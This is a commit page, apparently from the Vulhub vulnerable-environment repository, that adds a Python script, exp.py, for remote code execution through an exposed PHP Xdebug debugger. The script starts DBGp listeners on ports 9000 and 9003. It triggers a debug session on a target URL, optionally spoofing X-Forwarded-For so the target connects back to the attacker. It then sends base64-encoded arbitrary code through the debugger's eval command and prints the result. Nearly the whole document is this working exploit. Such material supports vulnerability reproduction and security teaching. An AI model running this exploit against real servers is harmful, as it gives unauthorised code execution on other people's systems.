first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
120
php/xdebug-rce/exp.py
Normal file
120
php/xdebug-rce/exp.py
Normal file
@@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import requests
|
||||
import argparse
|
||||
import socket
|
||||
import base64
|
||||
import binascii
|
||||
import socketserver
|
||||
import threading
|
||||
import logging
|
||||
|
||||
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
|
||||
server_done = threading.Event()
|
||||
server_started = threading.Event()
|
||||
|
||||
|
||||
def recv_xml(sock: socket.socket) -> bytes:
|
||||
blocks = []
|
||||
data = b''
|
||||
while True:
|
||||
try:
|
||||
data = data + sock.recv(1024)
|
||||
except socket.error as e:
|
||||
break
|
||||
if not data:
|
||||
break
|
||||
|
||||
while data:
|
||||
eop = data.find(b'\x00')
|
||||
if eop < 0:
|
||||
break
|
||||
blocks.append(data[:eop])
|
||||
data = data[eop+1:]
|
||||
|
||||
if len(blocks) >= 4:
|
||||
break
|
||||
|
||||
return blocks[3]
|
||||
|
||||
|
||||
class XDebugRequestHandler(socketserver.BaseRequestHandler):
|
||||
def handle(self):
|
||||
logging.info('[+] Recieve data from %s', self.client_address)
|
||||
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
|
||||
data = recv_xml(self.request)
|
||||
logging.info('[+] Recieve data: ' + data.decode())
|
||||
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
|
||||
if not g:
|
||||
logging.warning('[-] No result...')
|
||||
return
|
||||
|
||||
data = g.group(1)
|
||||
try:
|
||||
logging.info('[+] Result: ' + base64.b64decode(data).decode())
|
||||
server_done.set()
|
||||
except binascii.Error as e:
|
||||
logging.error('[-] May be not string result: %s', e)
|
||||
|
||||
|
||||
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
def __init__(self, server_address, handler_class, code):
|
||||
self.code = code
|
||||
self.allow_reuse_address = True
|
||||
super().__init__(server_address, handler_class)
|
||||
|
||||
def server_activate(self):
|
||||
super().server_activate()
|
||||
logging.info('[+] Server %s started', self.server_address)
|
||||
server_started.set()
|
||||
|
||||
|
||||
def start_dbgp_server(port: int, code: str):
|
||||
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
|
||||
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
server_thread.start()
|
||||
|
||||
return server_thread
|
||||
|
||||
|
||||
def trigger_debug_session(url: str, attack_ip: str):
|
||||
try:
|
||||
server_started.wait(timeout=5)
|
||||
logging.info('[+] Trigger debug session')
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
|
||||
}
|
||||
if attack_ip:
|
||||
headers['X-Forwarded-For'] = attack_ip
|
||||
|
||||
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
|
||||
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
|
||||
parser.add_argument('-t', '--target', required=True, help='target url.')
|
||||
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
|
||||
args = parser.parse_args()
|
||||
|
||||
start_dbgp_server(9000, args.code)
|
||||
start_dbgp_server(9003, args.code)
|
||||
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
|
||||
try:
|
||||
# Wait with a timeout, but check for interrupts
|
||||
for i in range(20):
|
||||
if server_done.is_set():
|
||||
break
|
||||
time.sleep(0.5)
|
||||
else:
|
||||
logging.error('[-] Execution timed out')
|
||||
except KeyboardInterrupt:
|
||||
logging.info('[*] Received keyboard interrupt, exiting...')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Reference in New Issue
Block a user